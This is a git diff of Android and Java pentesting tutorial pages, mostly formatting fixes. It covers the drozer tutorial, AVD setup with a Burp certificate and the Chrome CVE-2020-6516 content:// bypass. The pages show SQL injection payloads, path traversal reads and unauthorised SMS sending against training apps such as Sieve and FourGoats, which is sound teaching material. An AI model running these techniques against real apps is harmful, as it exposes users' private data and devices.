build it yourself. As a [Gradle](https://gradle.org/)-based project, you can clone it and then run the following command given that Gradle is installed on your machine. +Anyway, since there are no self-contained releases, you need to build it yourself. As a [Gradle](https://gradle.org)-based project, you can clone it and then run the following command given that Gradle is installed on your machine. -```text +``` cd ./plugins/java-decompiler/engine && gradle jar ``` @@ -86,7 +86,7 @@ Here, we first switch our working directory to the root directory of Fernflower. The invocation of Fernflower is similar to that of CFR. -```text +``` java -jar ./fernflower.jar "$JARFILE" "$OUTDIR" ``` @@ -100,13 +100,13 @@ In contrast to the other projects, this one is written in Python. And I think th Let me cite from [the README of the project](https://github.com/Storyyeller/Krakatau/blob/master/README.md). -> Next, make sure you have jars containing defintions \(sic!\) for any external classes \(i.e. libraries\) that might be referenced by the jar you are trying to decompile. This includes the standard library classes \(i.e. JRT\). +> Next, make sure you have jars containing defintions (sic!) for any external classes (i.e. libraries) that might be referenced by the jar you are trying to decompile. This includes the standard library classes (i.e. JRT). And according to the description, these standard library classes come with up to version 8 of Java in the form of the file `rt.jar`. For later versions, the author provides [jrt-extractor](https://github.com/Storyyeller/jrt-extractor), which can generate this file for us. So we download that tool and run the following commands. -```text +``` cd ./jrt-extractor javac JRTExtractor.java java -ea JRTExtractor @@ -116,7 +116,7 @@ This should have written a file `rt.jar` inside the directory. Given this file, we can run Krakatau as follows. -```text +``` ./Krakatau/decompile.py -out "$OUTDIR" -skip -nauto -path ./jrt-extractor/rt.jar "$JARFILE" ``` @@ -126,13 +126,11 @@ Let me refer to the project’s GitHub for an explanation of the parameters. Jus Once installed, the usage is straightforward. -```text +``` procyon -jar "$JARFILE" -o "$OUTDIR" ``` ### References -{% embed url="https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/\#cfr" %} - - +{% embed url="https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr" %} diff --git a/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md b/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md index 6e056b77..d93a533b 100644 --- a/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/mobile-apps-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -4,12 +4,12 @@ Thank you very much to [**@offsecjay**](https://twitter.com/offsecjay) for his h ## What is -Android Studio allows to **run virtual machines of Android that you can use to test APKs**. In order to use them you will need: +Android Studio allows to** run virtual machines of Android that you can use to test APKs**. In order to use them you will need: * The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). -* Or **Android Studio** \(with Android SDK tools\) - [Download here](https://developer.android.com/studio). +* Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio). -In Windows \(in my case\) **after installing Android Studio** I had the **SDK Tools installed in**: `C:\Users\\AppData\Local\Android\Sdk\tools` +In Windows (in my case) **after installing Android Studio** I had the **SDK Tools installed in**: `C:\Users\\AppData\Local\Android\Sdk\tools` ## JDK @@ -23,27 +23,27 @@ brew install openjdk@8 ### Prepare Virtual Machine -If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_ +If you installed Android Studio, you can just open the main project view and access: _**Tools **_--> _**AVD Manager.**_ -![](../../.gitbook/assets/image%20%28366%29.png) +![](<../../.gitbook/assets/image (330).png>) -Then, click on _**Create Virtual Device**_, _**select** the phone you want to use_ and click on _**Next.**_ -In the current view you are going to be able to **select and download the Android image** that the phone is going to run: +Then, click on _**Create Virtual Device**_, _**select **the phone you want to use_ and click on _**Next.**_\ +_****_In the current view you are going to be able to **select and download the Android image** that the phone is going to run: -![](../../.gitbook/assets/image%20%28369%29.png) +![](<../../.gitbook/assets/image (331).png>) -So, select it and click on _**Download**_ **\(**now wait until the image is downloaded\). -Once the image is downloaded, just select _**Next**_ and _**Finish**_. +So, select it and click on _**Download **_**(**now wait until the image is downloaded).\ +Once the image is downloaded, just select _**Next **_and _**Finish**_. -![](../../.gitbook/assets/image%20%28361%29.png) +![](<../../.gitbook/assets/image (332).png>) -The virtual machine will be created. Now **every time that you access AVD manager it will be present**. +The virtual machine will be created. Now** every time that you access AVD manager it will be present**. ### Run Virtual Machine -In order to **run** it just press the _**Start button**_. +In order to **run **it just press the _**Start button**_. -![](../../.gitbook/assets/image%20%28364%29.png) +![](<../../.gitbook/assets/image (334).png>) ## Command Line tool @@ -55,7 +55,7 @@ In **MacOS** systems the executable is located in `/Users//Library/And First of all you need to **decide which phone you want to use**, in order to see the list of possible phones execute: -```text +``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device id: 0 or "tv_1080p" @@ -104,14 +104,14 @@ id: 9 or "Nexus 5X" OEM : Google ``` -Once you have decide the name of the device you want to use, you need to **decide which Android image you want to run in this device.** -You can list all the options using `sdkmanager`: +Once you have decide the name of the device you want to use, you need to **decide which Android image you want to run in this device.**\ +****You can list all the options using `sdkmanager`: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` -And **download** the one \(or all\) you want to use with: +And **download **the one (or all) you want to use with: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" @@ -119,7 +119,7 @@ C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platform Once you have downloaded the Android image you want to use you can **list all the downloaded Android images** with: -```text +``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- id: 1 or "android-28" @@ -141,8 +141,8 @@ At this moment you have decided the device you want to use and you have download C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -In the last command **I created a VM named** "_AVD9_" using the **device** "_Nexus 5X_" and the **Android image** "_system-images;android-28;google\_apis;x86\_64_". -Now you can **list the virtual machines** you have created with: +In the last command **I created a VM named **"_AVD9_" using the **device **"_Nexus 5X_" and the **Android image** "_system-images;android-28;google_apis;x86\_64_".\ +Now you can** list the virtual machines** you have created with: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -161,7 +161,7 @@ The following Android Virtual Devices could not be loaded: ### Run Virtual Machine -We have already seen how you can list the created virtual machines, but **you can also list them using**: +We have already seen how you can list the created virtual machines, but** you can also list them using**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds @@ -184,7 +184,7 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht ### Command line options -However there are **a lot of different command line useful options** that you can use to initiate a virtual machine. Below you can find some interesting options but can ****[**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) +However there are **a lot of different command line useful options** that you can use to initiate a virtual machine. Below you can find some interesting options but can** **[**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) #### Boot @@ -194,7 +194,7 @@ However there are **a lot of different command line useful options** that you ca #### Network * `-dns-server 192.0.2.0, 192.0.2.255` : Allow to indicate comma separated the DNS servers to the VM. -* **`-http-proxy 192.168.1.12:8080`** : Allow to indicate an HTTP proxy to use \(very useful to capture the traffic using Burp\) +* **`-http-proxy 192.168.1.12:8080`** : Allow to indicate an HTTP proxy to use (very useful to capture the traffic using Burp) * `-port 5556` : Set the TCP port number that's used for the console and adb. * `-ports 5556,5559` : Set the TCP ports used for the console and adb. * **`-tcpdump /path/dumpfile.cap`** : Capture all the traffic in a file @@ -208,11 +208,11 @@ However there are **a lot of different command line useful options** that you ca ## Install Burp certificate on a Virtual Machine -First of all you need to download the Der certificate from Burp. You can do this in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ +First of all you need to download the Der certificate from Burp. You can do this in _**Proxy **_--> _**Options **_--> _**Import / Export CA certificate**_ -![](../../.gitbook/assets/image%20%28367%29%20%281%29.png) +![](<../../.gitbook/assets/image (367) (1).png>) -**Export the certificate in Der format** and lets **transform** it to a form that **Android** is going to be able to **understand.** Note that **in order to configure the burp certificate on the Android machine in AVD** you need to **run** this machine **with** the **`-writable-system`** option. +**Export the certificate in Der format** and lets **transform **it to a form that **Android **is going to be able to **understand. **Note that **in order to configure the burp certificate on the Android machine in AVD** you need to **run **this machine **with** the **`-writable-system`** option.\ For example you can run it like: ```bash @@ -238,5 +238,4 @@ Once the **machine finish rebooting** the burp certificate will be in use by it! You can **use the GUI** to take a snapshot of the VM at any time: -![](../../.gitbook/assets/image%20%28363%29.png) - +![](<../../.gitbook/assets/image (336).png>) diff --git a/mobile-apps-pentesting/android-app-pentesting/content-protocol.md b/mobile-apps-pentesting/android-app-pentesting/content-protocol.md index cb1b4dc6..66badd44 100644 --- a/mobile-apps-pentesting/android-app-pentesting/content-protocol.md +++ b/mobile-apps-pentesting/android-app-pentesting/content-protocol.md @@ -12,9 +12,9 @@ To make the output more human friendly, one can limit the displayed columns to t $ content query --uri content://media/external/file --projection _id,_data ``` -Media providers exist in their own private namespace. As illustrated in the example above, to access a content provider the corresponding `content://` URI should be specified. Generally, information on the paths, via which a provider can be accessed, can be recovered by looking at application manifests \(in case the content provider is exported by an application\) or the source code of the Android framework. +Media providers exist in their own private namespace. As illustrated in the example above, to access a content provider the corresponding `content://` URI should be specified. Generally, information on the paths, via which a provider can be accessed, can be recovered by looking at application manifests (in case the content provider is exported by an application) or the source code of the Android framework. -Interestingly, on Android devices Chrome supports accessing content providers via the `content://` scheme. This feature allows the browser to access resources \(e.g. photos, documents etc.\) exported by third party applications. To verify this, one can insert a custom entry in the Media Store and then access it using the browser: +Interestingly, on Android devices Chrome supports accessing content providers via the `content://` scheme. This feature allows the browser to access resources (e.g. photos, documents etc.) exported by third party applications. To verify this, one can insert a custom entry in the Media Store and then access it using the browser: ```bash $ cd /sdcard @@ -32,9 +32,9 @@ $ content query --uri content://media/external/file \ Row: 283 _id=747, _data=/storage/emulated/0/test.txt ``` -And to actually view the file in Chrome, one can use a URL like the one shown in the following picture. Notice the file identifier 747 \(discovered above\) which is used as a suffix in the URL. +And to actually view the file in Chrome, one can use a URL like the one shown in the following picture. Notice the file identifier 747 (discovered above) which is used as a suffix in the URL. -![Chrome "Hello, world!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png) +![Chrome "Hello, world!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png) For example, you could list all the files related to WhatsApp with: @@ -52,19 +52,19 @@ Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSes ... ``` -### The Chrome CVE-2020-6516 Same-Origin-Policy bypass +### The Chrome CVE-2020-6516 Same-Origin-Policy bypass -The _Same Origin Policy_ \(SOP\) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)\] in browsers dictates that Javascript content of URL A will only be able to access content at URL B if the following URL attributes remain the same for A and B: +The _Same Origin Policy_ (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)] in browsers dictates that Javascript content of URL A will only be able to access content at URL B if the following URL attributes remain the same for A and B: * The protocol e.g. `https` vs. `http` * The domain e.g. `www.example1.com` vs. `www.example2.com` * The port e.g. `www.example1.com:8080` vs. `www.example1.com:8443` -Of course, there are exceptions to the above rules, but in general, a resource from `https://www.example1.com` \(e.g. a piece of Javascript code\) cannot access the DOM of a resource on `https://www.example2.com`, as this would introduce serious information leaks. **Unless a Cross-Origin-Resource-Sharing \(CORS\) policy explicitly allows so, it shouldn't be possible for a web resource to bypass the SOP rules.** +Of course, there are exceptions to the above rules, but in general, a resource from `https://www.example1.com` (e.g. a piece of Javascript code) cannot access the DOM of a resource on `https://www.example2.com`, as this would introduce serious information leaks. **Unless a Cross-Origin-Resource-Sharing (CORS) policy explicitly allows so, it shouldn't be possible for a web resource to bypass the SOP rules.** It's essential to note that Chrome considers `content://` to be a _local scheme_, just like `file://`. In this case SOP rules are even more strict, as each local scheme URL is considered a separate origin. For example, Javascript code in **file:///tmp/test.html** should not be able to access the contents of **file:///tmp/test2.html**, or any other file on the filesystem for that matter. **Consequently, according to SOP rules, a resource loaded via `content://` should not be able access any other `content://` resource.** Well, vulnerability CVE-2020-6516 of Chrome created an "exception" to this rule. -CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)\] is a SOP bypass on resources loaded via a `content://` URL. **For example, Javascript code, running from within the context of an HTML document loaded from `content://com.example.provider/test.html`, can load and access any other resource loaded via a `content://` URL.** This is a serious vulnerability, especially on devices running Android 9 or previous versions of Android. On these devices scoped storage \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)\] is not implemented and, consequently, application-specific data under **/sdcard**, and more interestingly under **/sdcard/Android**, can be accessed via the system's Media Store content provider. +CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] is a SOP bypass on resources loaded via a `content://` URL. **For example, Javascript code, running from within the context of an HTML document loaded from `content://com.example.provider/test.html`, can load and access any other resource loaded via a `content://` URL.** This is a serious vulnerability, especially on devices running Android 9 or previous versions of Android. On these devices scoped storage \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)] is not implemented and, consequently, application-specific data under **/sdcard**, and more interestingly under **/sdcard/Android**, can be accessed via the system's Media Store content provider. A proof-of-concept is pretty straightforward. An HTML document that uses `XMLHttpRequest` to access arbitrary `content://` URLs is uploaded under **/sdcard**. It is then added in the Media Store and rendered in Chrome, in a fashion similar to the example shown earlier. For demonstration purposes, one can attempt to load `content://media/external/file/747` which is, in fact, the Media Store URL of the "Hello, world!" example. Surprisingly, the Javascript code, running within the origin of the HTML document, will fetch and display the contents of **test.txt**. @@ -97,5 +97,4 @@ A proof-of-concept is pretty straightforward. An HTML document that uses `XMLHtt ``` -**Information taken from this writeup:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)\*\*\*\* - +**Information taken from this writeup: **[**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**** diff --git a/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md b/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md index 9a434daf..05ae1713 100644 --- a/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -2,7 +2,7 @@ ## APKs to test -* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) \(from mrwlabs\) +* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (from mrwlabs) * [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) ## Installation @@ -17,7 +17,7 @@ pip install service_identity Download and install drozer APK from the [latest releases](https://github.com/mwrlabs/drozer/releases). At this moment it is [this](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk). -```text +``` adb install drozer.apk ``` @@ -25,49 +25,49 @@ adb install drozer.apk Agent is running on port 31415, we need to [port forward](https://en.wikipedia.org/wiki/Port_forwarding) to establish the communication between the Drozer Client and Agent, here is the command to do so: -```text +``` adb forward tcp:31415 tcp:31415 ``` Finally, **launch** the **application** and press the bottom "**ON**" -![](../../../.gitbook/assets/image%20%28193%29.png) +![](<../../../.gitbook/assets/image (63).png>) And connect to it: -```text +``` drozer console connect ``` ## Interesting Commands -| **Commands** | **Description** | -| :--- | :--- | -| **Help MODULE** | Shows help of the selected module | -| **list** | Shows a list of all drozer modules that can be executed in the current session. This hides modules that you don’t have appropriate permissions to run. | -| **shell** | Start an interactive Linux shell on the device, in the context of the Agent. | -| **clean** | Remove temporary files stored by drozer on the Android device. | -| **load** | Load a file containing drozer commands and execute them in sequence. | -| **module** | Find and install additional drozer modules from the Internet. | -| **unset** | Remove a named variable that drozer passes to any Linux shells that it spawns. | -| **set** | Stores a value in a variable that will be passed as an environmental variable to any Linux shells spawned by drozer. | -| **shell** | Start an interactive Linux shell on the device, in the context of the Agent | -| **run MODULE** | Execute a drozer module | -| **exploit** | Drozer can create exploits to execute in the decide. `drozer exploit list` | -| **payload** | The exploits need a payload. `drozer payload list` | +| **Commands** | **Description** | +| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | +| **Help MODULE** | Shows help of the selected module | +| **list** | Shows a list of all drozer modules that can be executed in the current session. This hides modules that you don’t have appropriate permissions to run. | +| **shell** | Start an interactive Linux shell on the device, in the context of the Agent. | +| **clean** | Remove temporary files stored by drozer on the Android device. | +| **load** | Load a file containing drozer commands and execute them in sequence. | +| **module** | Find and install additional drozer modules from the Internet. | +| **unset** | Remove a named variable that drozer passes to any Linux shells that it spawns. | +| **set** | Stores a value in a variable that will be passed as an environmental variable to any Linux shells spawned by drozer. | +| **shell** | Start an interactive Linux shell on the device, in the context of the Agent | +| **run MODULE** | Execute a drozer module | +| **exploit** | Drozer can create exploits to execute in the decide. `drozer exploit list` | +| **payload** | The exploits need a payload. `drozer payload list` | ### Package Find the **name** of the package filtering by part of the name: -```text +``` dz> run app.package.list -f sieve com.mwr.example.sieve ``` **Basic Information** of the package: -```text +``` dz> run app.package.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Process Name: com.mwr.example.sieve @@ -89,13 +89,13 @@ Defines Permissions: Read **Manifest**: -```text +``` run app.package.manifest jakhar.aseem.diva ``` **Attack surface** of the package: -```text +``` dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported @@ -106,7 +106,7 @@ Attack Surface: ``` * **Activities**: Maybe you can start an activity and bypass some kind of authorization that should be prevent you from launching it. -* **Content providers**: Maybe you can access private dato or exploit some vulnerability \(SQL Injection or Path Traversal\). +* **Content providers**: Maybe you can access private dato or exploit some vulnerability (SQL Injection or Path Traversal). * **Services**: * **is debuggable**: [Learn more](./#is-debuggeable) @@ -121,7 +121,7 @@ An exported activity component’s “android:exported” value is set to **“t **List exported activities**: -```text +``` dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity @@ -133,7 +133,7 @@ Package: com.mwr.example.sieve Maybe you can start an activity and bypass some kind of authorization that should be prevent you from launching it. -```text +``` dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` @@ -142,7 +142,7 @@ You can also start an exported activity from **adb**: * PackageName is com.example.demo * Exported ActivityName is com.example.test.MainActivity -```text +``` adb shell am start -n com.example.demo/com.example.test.MainActivity ``` @@ -160,11 +160,11 @@ A exported service is declared inside the Manifest.xml: Inside the code **check** for the **`handleMessage`**function which will **receive** the **message**: -![](../../../.gitbook/assets/image%20%28225%29.png) +![](<../../../.gitbook/assets/image (194).png>) #### List service -```text +``` dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService @@ -175,7 +175,7 @@ Package: com.mwr.example.sieve #### **Interact** with a service -```text +``` app.service.send Send a Message to a service, and display the reply app.service.start Start Service app.service.stop Stop Service @@ -185,9 +185,9 @@ app.service.stop Stop Service Take a look to the **drozer** help for `app.service.send`: -![](../../../.gitbook/assets/image%20%2830%29.png) +![](<../../../.gitbook/assets/image (196).png>) -Note that you will be sending first the data inside "_msg.what_", then "_msg.arg1_" and "_msg.arg2_", you should check inside the code **which information is being used** and where. +Note that you will be sending first the data inside "_msg.what_", then "_msg.arg1_" and "_msg.arg2_", you should check inside the code **which information is being used** and where.\ Using the `--extra` option you can send something interpreted by "_msg.replyTo"_, and using `--bundle-as-obj` you create and object with the provided details. In the following example: @@ -197,15 +197,15 @@ In the following example: * `arg2 == 1` * `replyTo == object(string com.mwr.example.sieve.PIN 1337)` -```text +``` run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj ``` -![](../../../.gitbook/assets/image%20%28293%29.png) +![](<../../../.gitbook/assets/image (195).png>) ### Broadcast Receivers -Android apps can send or receive broadcast messages from the Android system and other Android apps, similar to the [publish-subscribe](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) design pattern. These broadcasts are sent when an event of interest occurs. For example, the Android system sends broadcasts when various system events occur, such as when the system boots up or the device starts charging. Apps can also send custom broadcasts, for example, to notify other apps of something that they might be interested in \(for example, some new data has been downloaded\). +Android apps can send or receive broadcast messages from the Android system and other Android apps, similar to the [publish-subscribe](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) design pattern. These broadcasts are sent when an event of interest occurs. For example, the Android system sends broadcasts when various system events occur, such as when the system boots up or the device starts charging. Apps can also send custom broadcasts, for example, to notify other apps of something that they might be interested in (for example, some new data has been downloaded). Apps can register to receive specific broadcasts. When a broadcast is sent, the system automatically routes broadcasts to apps that have subscribed to receive that particular type of broadcast. @@ -255,7 +255,7 @@ Package: com.google.android.youtube #### Broadcast **Interactions** -```text +``` app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents @@ -265,39 +265,38 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu In this example abusing the [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider you can **send an arbitrary SMS** any non-premium destination **without asking** the user for permission. -![](../../../.gitbook/assets/image%20%28237%29.png) +![](<../../../.gitbook/assets/image (199).png>) -![](../../../.gitbook/assets/image%20%28110%29.png) +![](<../../../.gitbook/assets/image (197).png>) If you read the code, the parameters "_phoneNumber_" and "_message_" must be sent to the Content Provider. -```text +``` run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` ### Is debuggeable -A prodduction APK should never be debuggeable. +A prodduction APK should never be debuggeable.\ This mean that you can **attach java debugger** to the running application, inspect it in run time, set breakpoints, go step by step, gather variable values and even change them.[ InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code. When an application is debuggable, it will appear in the Manifest: -```text +``` ``` -In this case, it's necessary the permission `READ_KEYS` to access `content://com.mwr.example.sieve.DBContentProvider/Keys` -\(_Also, notice that in the next section we are going to access `/Keys/` which isn't protected, that's because the developer got confused and protected `/Keys` but declared `/Keys/`_\) +In this case, it's necessary the permission `READ_KEYS `to access `content://com.mwr.example.sieve.DBContentProvider/Keys`\ +(_Also, notice that in the next section we are going to access `/Keys/` which isn't protected, that's because the developer got confused and protected `/Keys` but declared `/Keys/`_) -**Maybe you can access private data or exploit some vulnerability \(SQL Injection or Path Traversal\).** +**Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).** ## Get info from **exposed content providers** -```text +``` dz> run app.provider.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Authority: com.mwr.example.sieve.DBContentProvider @@ -41,11 +41,11 @@ dz> run app.provider.info -a com.mwr.example.sieve Grant Uri Permissions: False ``` -We can **reconstruct** part of the content **URIs** to access the **DBContentProvider**, because we know that they must begin with “_content://_” and the information obtained by Drozer inside Path: _/Keys_. +We can **reconstruct **part of the content **URIs **to access the **DBContentProvider**, because we know that they must begin with “_content://_” and the information obtained by Drozer inside Path:_ /Keys_. Drozer can **guess and try several URIs**: -```text +``` dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ @@ -57,32 +57,32 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` -You should also check the **ContentProvider code** to search for queries: +You should also check the **ContentProvider code **to search for queries: -![](../../../.gitbook/assets/image%20%28121%29%20%281%29%20%281%29%20%281%29.png) +![](<../../../.gitbook/assets/image (121) (1) (1).png>) -Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method: +Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate `method: -![](../../../.gitbook/assets/image%20%28229%29.png) +![](<../../../.gitbook/assets/image (186).png>) The query will be like: `content://name.of.package.class/declared_name` ## **Database-backed Content Providers** -Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information. +Probably most of the Content Providers are used as **interface **for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information. \ Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms. -When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_: +When checking the code of the Content Provider **look **also for **functions **named like: _query, insert, update and delete_: -![](../../../.gitbook/assets/image%20%28211%29.png) +![](<../../../.gitbook/assets/image (187).png>) -![](../../../.gitbook/assets/image%20%28254%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png) +![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1) (1).png>) Because you will be able to call them ### Query content -```text +``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical _id: 1 service: Email @@ -94,11 +94,11 @@ email: incognitoguy50@gmail.com ### Insert content -Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB: +Quering the database you will learn the** name of the columns**, then, you could be able to insert data in the DB: -![](../../../.gitbook/assets/image%20%2834%29.png) +![](<../../../.gitbook/assets/image (188).png>) -![](../../../.gitbook/assets/image%20%28156%29.png) +![](<../../../.gitbook/assets/image (189).png>) _Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_ @@ -106,27 +106,27 @@ _Note that in insert and update you can use --string to indicate string, --doubl Knowing the name of the columns you could also **modify the entries**: -![](../../../.gitbook/assets/image%20%28163%29.png) +![](<../../../.gitbook/assets/image (190).png>) ### Delete content -![](../../../.gitbook/assets/image%20%2864%29.png) +![](<../../../.gitbook/assets/image (191).png>) ### **SQL Injection** -It is simple to test for SQL injection **\(SQLite\)** by manipulating the **projection** and **selection fields** that are passed to the content provider. -When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_: +It is simple to test for SQL injection** (SQLite)** by manipulating the **projection **and **selection fields **that are passed to the content provider.\ +When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and_ --projection_: -![](../../../.gitbook/assets/image%20%28279%29.png) +![](<../../../.gitbook/assets/image (192).png>) -You can try to **abuse** this **parameters** to test for **SQL injections**: +You can try to **abuse** this **parameters **to test for **SQL injections**: -```text +``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') ``` -```text +``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" | type | name | tbl_name | rootpage | sql | @@ -136,7 +136,7 @@ FROM SQLITE_MASTER WHERE type='table';--" #### Automatic SQLInjection discovery by Drozer -```text +``` dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Injection in Projection: @@ -160,29 +160,29 @@ Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/not Content providers could be also used to **access files:** -![](../../../.gitbook/assets/image%20%28297%29.png) +![](<../../../.gitbook/assets/image (193).png>) ### Read **file** You can read files from the Content Provider -```text +``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` ### **Path Traversal** -If you can access files, you can try to abuse a Path Traversal \(in this case this isn't necessary but you can try to use "_../_" and similar tricks\). +If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks). -```text +``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` #### **Automatic Path Traversal discovery by Drozer** -```text +``` dz> run scanner.provider.traversal -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Vulnerable Providers: @@ -192,6 +192,5 @@ Vulnerable Providers: ## References -* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm) +* [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm) * [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) - diff --git a/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index 87de004c..dbbd0003 100644 --- a/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -1,6 +1,6 @@ # Exploiting a debuggeable applciation -**Information copied from** [**https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/\#article**](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article)\*\*\*\* +**Information copied from **[**https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article**](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article)**** In the previous article, we have seen how to debug Java applications using a little tool called JDB. In this article, we will apply the same logic to exploit Android apps, if they are flagged as debuggable. If an application is flagged as debuggable, we can inject our own code to execute it in the context of the vulnerable application process. @@ -14,7 +14,7 @@ INFOSEC FILE DOWNLOAD If we launch the application, it shows the message “**Crack Me**“. 